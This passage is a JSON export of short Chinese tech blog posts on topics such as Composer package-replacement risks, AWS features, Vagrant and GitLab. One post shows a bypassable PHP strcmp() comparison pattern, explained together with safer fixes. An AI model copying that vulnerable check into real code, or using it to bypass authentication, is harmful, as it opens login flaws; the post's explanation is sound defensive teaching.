<a href=\"http://laravel.com/\">Laravel</a>)，受害者在 <code>composer update</code> 的時候就有機會抓到這些有惡意程式碼的套件。\r\n\r\n而最糟糕的是，主要開發者認為這不是問題，還寫了一大篇文章顧左右而言他之後說「<a href=\"https://www.google.com/search?q=%E9%A6%AC%E8%8B%B1%E4%B9%9D+%E9%8C%AF%E8%A6%BA\">錯覺啦～</a>」：「<a href=\"http://blog.naderman.de/2014/02/17/replace-conflict-forks-explained/\">Composer: Replace, Conflict &amp; Forks Explained</a>」：\r\n\r\n<blockquote>Replace is not a bug. Don’t run composer update in automated systems. Forks are allowed on Packagist. Don’t be an idiot when publishing a fork. Got an unexpected fork on update? Your dependencies conflict with the original package. Use conflict (syntax like require) in your composer.json to blacklist the fork and see an explanation of the dependency issue.</blockquote>\r\n\r\n於是發現問題的人就爆炸了。\r\n\r\n依照往例，vendor 不覺得是問題的安全漏洞，只能把事情弄大爆出來逼 vendor 修。\r\n\r\n修正在「<a href=\"https://github.com/composer/composer/issues/2690\">Limit Replace / Provides to packages required by name in root package or any dep</a>」這裡。最新版的 Composer 裡已經納入這個修正了。",
    "title": "PHP Composer 的安全性問題"
  },
  {
    "id": "4297",
    "body": "在「<a href=\"http://www.legitreviews.com/buffalo-launches-three-open-source-dd-wrt-wireless-routers_136700\">Buffalo Launches Three Open Source DD-WRT Wireless Routers</a>」這邊看到 <a href=\"http://www.buffalotech.com/\">Buffalo</a> 推出三台以 <a href=\"http://www.dd-wrt.com/\">dd-wrt</a> 為號召的機器。\r\n\r\nBuffalo 官方的新聞稿在「<a href=\"http://www.buffalotech.com/about-buffalo/news-and-press/press-releases/buffalo-introduces-open-source-dd-wrt-wireless-networking-solutions\">Buffalo Introduces Open Source DD-WRT Wireless Networking Solutions</a>」這邊。\r\n\r\n在美國機器是三年保，另外加上免費 24/7 基本技術支援的電話：\r\n<ul>\r\n\t<li>AirStation™ AC 1750 Gigabit Dual Band Open Source DD-WRT Wireless Router WZR-1750DHPD is available now at an estimated MSRP of $189.99.</li>\r\n\t<li>AirStation™ N600 Gigabit Dual Band Open Source DD-WRT Wireless Router WZR-600DHP2D will be available in early March at an estimated MSRP of $109.99.</li>\r\n\t<li>AirStation™ N300 Open Source DD-WRT Wireless Router WHR-300HP2D will be available in early March at an estimated MSRP of $59.99.</li>\r\n</ul>\r\n這價錢看起來普普通通，等出來了再看評價吧 XD",
    "title": "Buffalo 推出三台以 dd-wrt 為號召的機器..."
  },
  {
    "id": "4300",
    "body": "<a href=\"http://wordpress.com/\">WordPress.com</a> 上的商務帳號 (<a href=\"http://wordpress.com/business/\">WordPress.com Business</a>) 可以架設各種電子商務平台了：「<a href=\"http://en.blog.wordpress.com/2014/02/25/wordpress-business-ecommerce/\">WordPress.com Business Users: eCommerce Has Arrived!</a>」。\r\n\r\n<img src=\"//i.imgur.com/jV5Br1L.png\" alt=\"\" />\r\n\r\n由 WordPress.com 出手感覺就差很多，以前要自己找人兜半天，這樣就省下一大堆功夫了...",
    "title": "WordPress.com 上的電子商務平台"
  },
  {
    "id": "4304",
    "body": "在「<a href=\"http://davidad.github.io/blog/2014/02/25/overkilling-the-8-queens-problem/\">Overkilling the 8-queens Problem</a>」這邊有<del>吃飽太閒</del>^H^H^H^H強者用 <a href=\"https://zh.wikipedia.org/wiki/X86-64\">x86-64</a> 組語解<a href=\"https://zh.wikipedia.org/wiki/%E5%85%AB%E7%9A%87%E5%90%8E%E9%97%AE%E9%A2%98\">八皇后問題</a>，而目前的極限速度是 11.2µs...\r\n\r\n<img src=\"//i.imgur.com/2NS8Hco.png\" alt=\"\" />\r\n\r\n整篇在介紹用到的 x86-64 組語 XDDD",
    "title": "八皇后問題的速度極限..."
  },
  {
    "id": "4306",
    "body": "為了避免美國的監聽，歐盟與巴西決定自己拉海底光纜：「<a href=\"http://www.reuters.com/article/2014/02/24/us-eu-brazil-idUSBREA1N0PL20140224\">Brazil, Europe plan undersea cable to skirt U.S. spying</a>」。\r\n\r\n目前計畫從葡萄牙的里斯本 (Lisbon) 拉到巴西的福塔雷薩 (Fortaleza)，而且巴西總統 Dilma Rousseff 挑明了就是對美國的監控有意見：\r\n\r\n<blockquote>We have to respect privacy, human rights and the sovereignty of nations. We don't want businesses to be spied upon,</blockquote>\r\n\r\n能做到什麼程度還是個問題，但這對於解決網路過度中心化 (以美國為中心) 應該有幫助？",
    "title": "巴西與歐盟決定自己拉海底光纜..."
  },
  {
    "id": "4308",
    "body": "前天看到的「<a href=\"http://zachholman.com/posts/only-90s-developers/\">Only 90s Web Developers Remember This</a>」文章裡面在懷舊 (?)：\r\n<ul>\r\n\t<li>1x1.gif</li>\r\n\t<li>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;</li>\r\n\t<li>Dotted underlines, border effects</li>\r\n\t<li>DHTML</li>\r\n\t<li>Pixel fonts</li>\r\n\t<li>Buttons</li>\r\n</ul>\r\n然後在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到 <a href=\"http://zonble.net/\">zonble</a> 貼的：「<a href=\"http://dhtmlconf.com/\">DHTMLConf</a>」，太讚了 XDDD\r\n\r\n讓人懷念的東西... XDDD",
    "title": "90 年代的網站..."
  },
  {
    "id": "4310",
    "body": "出自「<a href=\"http://docs.vagrantup.com/v2/boxes/base.html\">Creating a Base Box - Vagrant Documentation</a>」這頁：\r\n\r\n<img src=\"//i.imgur.com/OVvD78I.png\" alt=\"\" />\r\n\r\n你知道下面的「VirtualBox Base Boxes」是可以按的嗎？是可以按的嗎？是可以按的嗎？",
    "title": "Vagrant 的文件..."
  },
  {
    "id": "4312",
    "body": "印象中要在 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 上面存大量資料時需要注意 key 的命名，用 <a href=\"https://www.google.com/\">Google</a> 找了找發現官方的「<a href=\"http://docs.aws.amazon.com/AmazonS3/latest/dev/request-rate-perf-considerations.html\">Request Rate and Performance Considerations</a>」這篇。\r\n\r\n文章中有提到這是對有大量存取需求時才需要注意的事項：\r\n\r\n<blockquote>The guidelines in this section apply if you are routinely processing 100 or more requests per second. If your typical workload involves only occasional bursts of 100 requests per second or more, you don't need to follow the guidelines in this section.</blockquote>\r\n\r\n不過平常即使沒有需要大量存取，還是可以照著做，因為應該不會有負面影響。如果能照著上面的方式先做，之後也許會受益...\r\n\r\n由於 Amazon S3 是使用 key-prefix 當作 partition 的依據，所以 prefix 的值對於效能很重要。官方推薦的幾種方法都是對 key-prefix 下手：\r\n<ul>\r\n\t<li>對整個 path + filename 的字串 hash 後當作 prefix。舉例來說，<code>examplebucket/2013-26-05-15-00-00/cust1234234/photo1.jpg</code> hash 後加到前面，名稱變成 <code>examplebucket/232a-2013-26-05-15-00-00/cust1234234/photo1.jpg</code>。</li>\r\n\t<li>將最前面一段 reverse string。像是把 <code>2134857/data/start.png</code> 變成 <code>7584312/data/start.png</code>。</li>\r\n</ul>",
    "title": "在 S3 上儲存大量資料時要注意的事情"
  },
  {
    "id": "4314",
    "body": "依照「<a href=\"http://blog.arungupta.me/2014/02/cordova-ios-android-tech-tip/\">Cordova: Getting Started with iOS and Android Applications (Tech Tip #14)</a>」這篇的方法，再加上一些以前練出來的經驗，把系統給弄起來了。\r\n\r\n首先是先到 <a href=\"http://www.android.com/\">Android</a> 官網下載 <a href=\"http://developer.android.com/sdk/index.html\">Android SDK</a>，目前版本是 <code>adt-bundle-linux-x86_64-20131030</code>，找個合適的地方解開後 (我是放到 <code>$HOME/android</code> 下)，把 <code>PATH</code> 加進去：\r\n\r\n<pre>export PATH=\"${HOME}/android/sdk/platform-tools:${HOME}/android/sdk/tools:${PATH}\"</pre>\r\n\r\n接下來是透過 <a href=\"https://github.com/creationix/nvm\">nvm</a> 安裝 <a href=\"http://nodejs.org/\">node.js</a>，先安裝 nvm：\r\n\r\n<pre>wget https://raw.github.com/creationix/nvm/master/install.sh\r\nsh install.sh</pre>\r\n\r\n然後重新啟動 shell 讓 nvm 與 <code>PATH</code> 生效後，安裝 0.10.26 (目前的最新版)，並且預設用這個版本：\r\n\r\n<pre>nvm install 0.10.26\r\nnvm alias default 0.10.26</pre>\r\n\r\n接下來一樣是重新啟動 shell，就可以裝 <a href=\"https://cordova.apache.org/\">Cordova</a> 了：\r\n\r\n<pre>npm install cordova</pre>\r\n\r\n後面就可以照抄原始範例：\r\n\r\n<pre>cordova create hello org.samples.wildfly.cordova.hello HelloWorld\r\ncd hello\r\ncordova platform add android\r\nandroid create avd --name myCordova --target 1\r\ncordova emulate android</pre>\r\n\r\n然後 AVD 是有名的慢，請耐心等候... XD\r\n\r\n跑出來長這樣：\r\n\r\n<img src=\"//i.imgur.com/J4U9J6Z.png\" alt=\"\" />",
    "title": "Ubuntu 下建立 Cordova 的 Android 環境..."
  },
  {
    "id": "4319",
    "body": "<a href=\"http://www.linux.org/\">Linux</a> 上玩 <a href=\"http://us.battle.net/d3/\">Diablo III</a> 常見的解法是使用 <a href=\"http://www.winehq.org/\">Wine</a> 執行，但在這次更新後就掛了，狀況是在輸入完帳號密碼後就 crash：「<a href=\"http://us.battle.net/d3/en/forum/topic/11883998580\">Battle.net launcher update on Wine/Linux - Forums - Diablo III</a>」。\r\n\r\n不過有人居然找出 workaround 了 (這 workaround 怎麼找出來的啊)：\r\n\r\n<blockquote>But, there's a workaround to have a launcher : disable dbghelp library (wine configuration, libraries, type dbghelp, add, -> disable).</blockquote>\r\n\r\n據說是將 dbghelp 設定停用後就可以跑了。另外也有人提供直接執行的方法：(當然，路徑要改成自己安裝 Diablo III 的目錄)\r\n\r\n<blockquote><code>/mnt/lvm/Playonlinux/DiabloIII/drive_c/Program\\ Files/Diablo\\ III/Diablo\\ III.exe -launch -uid diablo3_frfr</code></blockquote>\r\n\r\n不過我為了找問題，把整個 Wine 以及 Diablo III 都砍掉了，所以是回到安裝新軟體的階段... 但發現安裝時也會遇到同樣的 crash 問題，而使用第一個方式關掉 dbghelp 後就可以安裝了，不知道可以前進到哪一步...\r\n\r\n過陣子 Wine 應該會放出新版，畢竟 <a href=\"http://www.blizzard.com/\">Blizzard</a> 家的遊戲可是重要項目...",
    "title": "新版 Battle.net launcher 更新造成 Wine 不能跑..."
  },
  {
    "id": "4324",
    "body": "在「<a href=\"http://www.tedunangst.com/flak/post/a-brief-history-of-one-line-fixes\">a brief history of one line fixes</a>」列出了許多經典的問題...\r\n\r\n裡面最有印象的還是 2008 年 <a href=\"http://www.debian.org/\">Debian</a> <a href=\"https://www.openssl.org/\">OpenSSL</a> 問題，也因為這個問題影響太嚴重，後來預設會安裝 <a href=\"https://www.google.com/search?q=openssl-blacklist\">openssl-blacklist</a> 這個套件，在連線時檢查是不是有問題的 key...\r\n\r\n然後 <a href=\"http://www.android.com/\">Android</a> <code>memset()</code> 那個很精彩啊 XDDDDDDDDDDD",
    "title": "歷史上的爆炸記錄？"
  },
  {
    "id": "4326",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 這幾個月對 <a href=\"http://www.tokutek.com/products/tokudb-for-mysql\">TokuDB</a> 的評價一直都很不錯，再加上在 <a href=\"http://www.percona.com/software/percona-server\">Percona Server</a> 5.6.16-64.0 裡加入對 TokuDB 的支援 (目前還是掛在 ALPHA 階段)，看起來是打算再納入這個產品線？：「<a href=\"http://www.mysqlperformanceblog.com/2014/03/03/percona-server-5-6-16-64-0-with-tokudb-engine-now-available/\">Percona Server 5.6.16-64.0 with TokuDB engine now available</a>」。\r\n\r\n與兩年前的 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 情境有點像，看起來會是新的主打產品？\r\n\r\n先花了一些查，發現「<a href=\"http://cdn.oreillystatic.com/en/assets/1/event/36/How%20TokuDB%20Fractal%20Tree%20Databases%20Work%20Presentation.pdf\">How TokuDB Fractal Tree<sup>TM</sup> Indexes Work</a>」這份投影片整理的還不錯，說明了簡化版 fractal tree 的結構，以及為什麼可以取代 <a href=\"https://en.wikipedia.org/wiki/B-tree\">B-tree</a> 或 <a href=\"https://en.wikipedia.org/wiki/B%2B_tree\">B+tree</a>。也說明了 fractal tree 最重要的精神是拿 CPU 計算能力與 memory bandwidth 換取資料結構的特性，善用磁碟在 sequence i/o 遠比 random i/o 快的事實。\r\n\r\n維基百科裡的「<a href=\"https://en.wikipedia.org/wiki/TokuDB\">TokuDB</a>」也寫了一些東西可以看，像是說明 fractal tree 是 cache-oblivious algorithm，這點讓 cache tuning 的複雜性降低。\r\n\r\n這樣應該順便玩看看 <a href=\"https://www.docker.io/\">Docker</a> 或是 <a href=\"http://www.vagrantup.com/\">Vagrant</a> 才對？",
    "title": "Percona 的 TokuDB"
  },
  {
    "id": "4328",
    "body": "剛剛看到 <a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 支援 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a>，而且不像 Dedicated IP Custom SSL 需要每個月 USD$600 的費用：「<a href=\"http://aws.typepad.com/aws/2014/03/server-name-indication-sni-and-http-redirection-for-amazon-cloudfront.html\">New Features for Amazon CloudFront: Server Name Indication (SNI) and HTTP Redirection</a>」。\r\n\r\n目前最大的問題只剩下 Windows XP + IE8 不支援 SNI，台灣還有 19.86% 的人使用 IE8 (不知道 Windows XP + IE8 實際佔多少)：\r\n\r\n<img src=\"//i.imgur.com/zQI1S23.jpg\" alt=\"\" />\r\n<small>(出自 <a href=\"http://gs.statcounter.com/#browser_version-TW-monthly-201302-201402\">http://gs.statcounter.com/#browser_version-TW-monthly-201302-201402</a>)</small>\r\n\r\n但至少行動裝置上的主力平台都支援了，如果大多數用戶是行動裝置，這個方式可以兼顧 custom SSL domain 與花費...",
    "title": "CloudFront 支援 SNI，不需額外每個月 USD$600 的費用..."
  },
  {
    "id": "4331",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 的 <a href=\"http://aws.amazon.com/elasticloadbalancing/\">Elastic Load Balancing</a> 總算想起來這個欠了許久的功能，access log：「<a href=\"http://aws.typepad.com/aws/2014/03/access-logs-for-elastic-load-balancers.html\">Access Logs for Elastic Load Balancers</a>」。\r\n\r\n原文裡有提到用 <a href=\"http://hive.apache.org/\">Hive</a> 分析的部份，挑出最前面的欄位名稱就可以看出提供什麼資訊：\r\n\r\n<pre>CREATE EXTERNAL TABLE elb_raw_access_logs (\r\n     Timestamp STRING,\r\n     ELBName STRING,\r\n     RequestIP STRING,\r\n     RequestPort INT,\r\n     BackendIP STRING,\r\n     BackendPort INT,\r\n     RequestProcessingTime DOUBLE,\r\n     BackendProcessingTime DOUBLE,\r\n     ClientResponseTime DOUBLE,\r\n     ELBResponseCode STRING,\r\n     BackendResponseCode STRING,\r\n     ReceivedBytes BIGINT,\r\n     SentBytes BIGINT,\r\n     RequestVerb STRING,\r\n     URL STRING,\r\n     Protocol STRING\r\n)</pre>\r\n\r\n裡面還有些資訊沒包含在上面，像是 availability zone。因為這個資訊是包含在檔名內：\r\n\r\n<blockquote>In addition to the bucket name and the prefix that you specified when you configured and enabled access logs, the log file name will also include the IP address of the load balancer, your AWS account number, the load balancer's name and region, the date (year, month, and day), the timestamp of the end of the logging interval, and a random number (to handle multiple log files for the same time interval).</blockquote>\r\n\r\n接下來應該要把現有的 ELB 都開起來 XD",
    "title": "Elastic Load Balancing 總算實做 access log..."
  },
  {
    "id": "4336",
    "body": "<a href=\"http://www.theregister.co.uk/\">The Register</a> 的「<a href=\"http://www.theregister.co.uk/2014/03/06/even_https_can_leak_your_private_browsing/\">Even HTTPS can leak your PRIVATE browsing</a>」這篇引用了「<a href=\"http://arxiv.org/abs/1403.0297\">I Know Why You Went to the Clinic: Risks and Realization of HTTPS Traffic Analysis</a>」這篇論文。\r\n\r\n這篇論文說明，當 ISP 有能力分析所有流量，即使你全部都使用 HTTPS 時，論文裡的方式可以對某些極為敏感的資訊達到 89% 的辨識率：\r\n\r\n<blockquote>Our attack identifies individual pages in the same website with 89% accuracy, exposing personal details including <strong>medical conditions</strong>, <strong>financial</strong> and <strong>legal affairs</strong> and <strong>sexual orientation</strong>.</blockquote>\r\n\r\n這是因為 HTTPS 設計上是保護密碼、session key 這類技術上的「機密資訊」。而這個特點只能增加對隱私的保護，無法 100% 保護。\r\n\r\n就算不看論文用了哪些資訊與方法，這個領域有很多可以分析的：很直覺就可以想到 ISP 可以看到 Destination IP 資訊，藉以「猜測」是哪個 domain，而 DNS query 資訊也是有幫助的。再來是 HTTP request 的 pattern (像是順序、大小) 再加上對網站結構的了解，也可以分析出不少東西。\r\n\r\n如果可以再分析主流瀏覽器、作業系統以及 NAT box 的實做，還可以透過 TCP 的封包再推敲的更細緻。\r\n\r\n整套系統利用統計模型架構好後，在 ISP 端大量分析，看起來就是 <a href=\"http://www.nsa.gov/\">NSA</a> 擅長的業務？",
    "title": "HTTPS 頁面上的隱私問題"
  },
  {
    "id": "4338",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"http://dec64.com/\">DEC64: Decimal Floating Point</a>」：\r\n\r\n<img src=\"//i.imgur.com/eii64Fe.png\" alt=\"\" />\r\n\r\n公式是：\r\n\r\n<blockquote>value = coefficient * 10<sup>exponent</sup></blockquote>\r\n\r\n是以 10 為底。\r\n\r\n0 與 NaN 是特別處理：\r\n\r\n<blockquote>There are 255 possible representations of zero. They are all considered to be equal.</blockquote>\r\n\r\n<blockquote>There is a special value called nan that has a coefficient of 0 and an exponent of -128. The result of division by zero is nan. nan is also the result of operations that produce results that are too large to be represented. nan is equal to itself.</blockquote>\r\n\r\n網域也註冊一段時間了，不知道為什麼被突然提起...：\r\n\r\n<pre>   Domain Name: DEC64.COM\r\n   Registrar: 1 & 1 INTERNET AG\r\n   Whois Server: whois.schlund.info\r\n   Referral URL: http://1and1.com\r\n   Name Server: NS57.1AND1.COM\r\n   Name Server: NS58.1AND1.COM\r\n   Status: ok\r\n   Updated Date: 03-jun-2013\r\n   Creation Date: 02-jun-2009\r\n   Expiration Date: 02-jun-2014</pre>",
    "title": "DEC64 浮點數"
  },
  {
    "id": "4347",
    "body": "由於從網路上下載軟體回自己電腦跑是種「引狼入室」的行為，如何用合理的方式驗證下載回來的軟體，會是對資安敏感的人的重要課題。\r\n\r\n然後就看到一篇純粹抱怨文，以 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 為例，要肯定確定抓到的軟體是沒被「加料」過的卻是困難重重：「<a href=\"http://noncombatant.org/2014/03/03/downloading-software-safely-is-nearly-impossible/\">Downloading Software Safely Is Nearly Impossible</a>」。\r\n\r\nPuTTY 算是資訊安全類的軟體，但卻發現難以找到合理的方式確認 XDDD\r\n\r\n首先是要先判斷「哪個站台是正確的官方站台」時，卻發現 putty.org 這個網域不是原作者 Simon Tatham 擁有，而即使是公認的官方網站 www.chiark.greenend.org.uk 的 greenend.org.uk 這個網域，也不是原作者擁有。\r\n\r\n然後 www.chiark.greenend.org.uk 沒有提供 HTTPS，所以下載下來後還要想辦法確認沒被動手繳過。而作者的 RSA public key 放在 earth.li 網域上，同樣的這也不是作者擁有的網域，而且也遇到同樣問題：public key 的下載也不支援 HTTPS。\r\n\r\n然後去 <a href=\"http://www.mit.edu/\">MIT</a> 上的 PGP key server 翻也沒翻到，然後文章作者就崩潰自暴自棄直接執行下去了 XDDD\r\n\r\nPuTTY 的這一串過程好像從以前就沒改善... XD",
    "title": "如何安全下載軟體..."
  },
  {
    "id": "4349",
    "body": "<a href=\"http://www.intel.com/\">Intel</a> 推出的字型 <a href=\"https://01.org/clear-sans\">Clear Sans</a>，版號 1.00 了 (噗)，拿維基百科的文章測試 (出自「<a href=\"https://en.wikipedia.org/wiki/Transmission_Control_Protocol\">Transmission Control Protocol</a>」這個條目)：\r\n\r\n<img src=\"//i.imgur.com/g5YhRMf.png\" alt=\"\" />\r\n\r\n抓下來解開後可以看到字型是 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache License</a>，不過該填的欄位都沒填 XDDD\r\n\r\n每次換字型都是因為看膩了想換換口味... 不知道可以撐多久 :o",
    "title": "Clear Sans"
  },
  {
    "id": "4351",
    "body": "這邊講的「無障礙」與一般 accessibility 講的主題比較無關。而是希望在每台電腦上都能顯示出「字」。\r\n\r\n當瀏覽器裡發現無法顯示的字型時，可能會出現框框。而利用 Webfonts 技術，可以在瀏覽器裡讀取字型檔將這些框框「字」呈現出來：「<a href=\"https://blog.wikimedia.org/2014/03/07/webfonts-making-wikimedia-projects-readable-for-everyone/\">Webfonts: Making Wikimedia projects readable for everyone</a>」。\r\n\r\n仍然有不少技術問題要克服，像是東亞地區的字型比西方複雜，另外效能也是問題。但放話後總是會有進展 :p",
    "title": "維基的無障礙閱讀計畫"
  },
  {
    "id": "4355",
    "body": "在 2014/03/08 的 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://meta.wikimedia.org/wiki/Cunningham%27s_Law\">Cunningham's Law</a>」：\r\n\r\n<blockquote><strong>Cunningham's Law</strong> states \"the best way to get the right answer on the Internet is not to ask a question, it's to post the wrong answer.\"</blockquote>\r\n\r\n還蠻常見到的 XDDD",
    "title": "Cunningham's Law"
  },
  {
    "id": "4357",
    "body": "除了在「<a href=\"https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/install/installation.md\">doc/install/installation.md</a>」有手動安裝的方式外，在「<a href=\"https://www.gitlab.com/downloads/\">GitLab CE Downloads</a>」有提供 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 12.04 LTS 64bits 的 deb 檔可以安裝。\r\n\r\n官方在「<a href=\"https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/README.md\">GitLab Omnibus project</a>」提供的安裝方式是：\r\n\r\n<pre>apt-get install openssh-server postfix\r\ndpkg -i ooxx.deb\r\ngitlab-ctl reconfigure</pre>\r\n\r\n不過在 <a href=\"https://www.docker.io/\">Docker</a> 裡面會卡在設定 redis 的部份而無法成功，卡在：\r\n\r\n<pre>Recipe: gitlab::redis\r\n  * user[gitlab-redis] action create (up to date)\r\n  * directory[/var/log/gitlab/redis] action create (up to date)\r\n  * directory[/var/opt/gitlab/redis] action create (up to date)\r\n  * template[/var/opt/gitlab/redis/redis.conf] action create (up to date)\r\n  * directory[/opt/gitlab/sv/redis] action create (up to date)\r\n  * directory[/opt/gitlab/sv/redis/log] action create (up to date)\r\n  * directory[/opt/gitlab/sv/redis/log/main] action create (up to date)\r\n  * template[/opt/gitlab/sv/redis/run] action create (up to date)\r\n  * template[/opt/gitlab/sv/redis/log/run] action create (up to date)\r\n  * file[/opt/gitlab/sv/redis/down] action delete (up to date)\r\n  * link[/opt/gitlab/init/redis] action create (up to date)\r\n  * link[/opt/gitlab/service/redis] action create (up to date)\r\n  * ruby_block[supervise_redis_sleep] action run</pre>\r\n\r\n後來是用 <a href=\"http://www.vagrantup.com/\">Vagrant</a> (跑 <a href=\"https://www.virtualbox.org/\">VirtualBox</a>) 才測試成功。就可以看到 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 與 <a href=\"http://redis.io/\">Redis</a> 整包都被放到 <code>/opt</code> 下了...\r\n\r\n提供給要玩 GitLab 的人參考看看...",
    "title": "測試 GitLab 的方式..."
  },
  {
    "id": "4362",
    "body": "<a href=\"http://www.lyst.com/\">Lyst</a> 的「<a href=\"http://developers.lyst.com/data/images/2014/02/13/background-removal/\">Image Background Removal</a>」這篇在講圖片去背的方法。\r\n\r\nLyst 是把這個演算法用在上架自動分類的一環：圖片先去背，然後再用 classifier 綜合其他的 metadata 判斷要分到那一類。\r\n\r\n這邊去背的演算法很簡單：\r\n\r\n<img src=\"//i.imgur.com/b5bwcVN.png\" alt=\"\" />\r\n\r\n其實 Lyst 這篇是在說「要怎麼打組合拳」：利用現有最簡單的技術去堆積木，想辦法找出一套合理的解。而不是像學術上的那樣要求做到極致。所以也有像這樣不是處理的很好的：\r\n\r\n<img src=\"//i.imgur.com/EFx0BCR.jpg\" alt=\"\" />\r\n\r\n這種組合拳反倒還蠻適合在學校裡教？",
    "title": "圖片的去背..."
  },
  {
    "id": "4364",
    "body": "<a href=\"http://makezine.com/\">MAKE</a> 的這篇「<a href=\"http://makezine.com/projects/make-38-cameras-and-av/raspberry-pirate-radio/\">Raspberry Pirate Radio</a>」的惡搞意味濃厚啊...\r\n\r\n<img src=\"//i.imgur.com/WKhP5vf.jpg\" alt=\"\" />\r\n\r\n現有的設備，加上一根銅線就可以做到了。\r\n\r\n<img src=\"//i.imgur.com/GU974ID.jpg\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/MoSRDSB.jpg\" alt=\"\" />",
    "title": "將 Raspberry Pi 變成 FM 廣播站"
  },
  {
    "id": "4366",
    "body": "<a href=\"http://www.vagrantup.com/\">Vagrant</a> 1.5 出了：「<a href=\"http://www.vagrantup.com/blog/vagrant-1-5-and-vagrant-cloud.html\">Vagrant 1.5 and Vagrant Cloud</a>」。\r\n\r\n最大的亮點是前陣子就有寫「<a href=\"http://www.vagrantup.com/blog/feature-preview-vagrant-1-5-share.html\">Feature Preview: Vagrant Share</a>」的 Vagrant Share，可以讓其他人很方便的連到自己的 Vagrant 機器上。\r\n\r\n<a href=\"https://vagrantcloud.com/\">Vagrant Cloud</a> 則是產品面上的整合，算是社群功能？\r\n\r\n最近拿 Vagrant 與 <a href=\"https://www.docker.io/\">Docker</a> 測試的次數愈來愈頻繁了，之前拿 <a href=\"http://aws.amazon.com/ec2/\">Amazon EC2</a>，但開機速度太慢，而 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 開機速度雖然快很多，但不是很容易透過 cli 操作...\r\n\r\n而這兩套各有優缺點。Docker 速度快，但環境相容性沒有 Vagrant 好，另外 Vagrant 畢竟是包著 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 這種全虛擬化環境，除了 <a href=\"http://www.linux.org/\">Linux</a> 以外也可以測其他的作業系統。\r\n\r\n反正都是熱門的軟體，之後看社群發展出什麼功能再看要怎麼用 :p",
    "title": "Vagrant 1.5"
  },
  {
    "id": "4368",
    "body": "<a href=\"http://www.ptt.cc/\">Ptt</a> 有年齡限制的看板總算是開放 Web 存取了，但有個確認畫面要點總是頗麻煩 XD\r\n\r\n前幾天寫了一個 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 套件「<a href=\"https://chrome.google.com/webstore/detail/ptt-over18/nbjljajdlncipflockgajmfpohoihkda\">Ptt Over18</a>」可以自動幫你點確認按鈕：\r\n\r\n<img src=\"//i.imgur.com/W3vquew.png\" alt=\"\" />\r\n\r\n暫時沒想到要用什麼 icon &amp; 抓什麼畫面，回台灣再說，在日本只想睡覺吃東西... XD",
    "title": "Google Chrome 上自動驗證 Ptt 十八歲年齡的工具"
  },
  {
    "id": "4370",
    "body": "官方這篇「<a href=\"http://aws.amazon.com/about-aws/whats-new/2014/03/13/amazon-cloudfront-announces-usage-charts-for-active-web-distributions/\">Announcing Amazon CloudFront Usage Charts for Web Distributions - Track Trends in Requests & Data Transfer</a>」公告說明 <a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 可以透過 Web Console 看到統計數據了：\r\n\r\n<img src=\"//i.imgur.com/AtHbdTX.png\" alt=\"\" />\r\n\r\n最近好像補了不少 log 與統計的功能，CloudFront 也趕上這波了 XD",
    "title": "Amazon CloudFront 可以從 Web Console 上看到統計資料了"
  },
  {
    "id": "4372",
    "body": "無奈：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p>鶯谷園が改築で4月上旬まで休業って事は、それまでは美味い焼肉をエサに女をおびき出せないじゃないか！</p>&mdash; いっちー (@kingsofmetal666) <a href=\"https://twitter.com/kingsofmetal666/statuses/424515611377426432\">January 18, 2014</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<img src=\"//i.imgur.com/mybV0Jn.jpg\" alt=\"\" />",
    "title": "鶯谷園整修..."
  },
  {
    "id": "4374",
    "body": "出自「<a href=\"http://lcx.cc/?i=4244\">PHP的strcmp函数引发的安全问题</a>」。\r\n\r\n拿 PHP 5.5 來測，這兩個都沒什麼問題：\r\n\r\n<pre>php &gt; var_dump(strcmp('a', 'a'));\r\nint(0)\r\nphp &gt; var_dump(strcmp('a', 'b'));\r\nint(-1)</pre>\r\n\r\n接下來測這個：\r\n\r\n<pre>php &gt; var_dump(strcmp('a', array()));\r\nPHP Warning:  strcmp() expects parameter 2 to be string, array given in php shell code on line 1\r\nNULL</pre>\r\n\r\n沃槽...\r\n\r\n這代表這個寫法是有問題的：\r\n\r\n<pre>if (!strcmp($v, $v_input)) {\r\n    // If same...\r\n}</pre>\r\n\r\n如果先不管 warning，還是要用 <a href=\"http://www.php.net/manual/en/function.strcmp.php\">strcmp</a> 的話，可能得寫成：\r\n\r\n<pre>if (0 === strcmp($v, $v_input)) {\r\n    // If same...\r\n}</pre>\r\n\r\n不過用原生的操作元應該是比較好的解法？\r\n\r\n<pre>if ($v === $v_input) {\r\n    // If same...\r\n}</pre>\r\n\r\n這真是太迷人了... -_-",
    "title": "PHP 的 strcmp()..."
  },
  {
    "id": "4376",
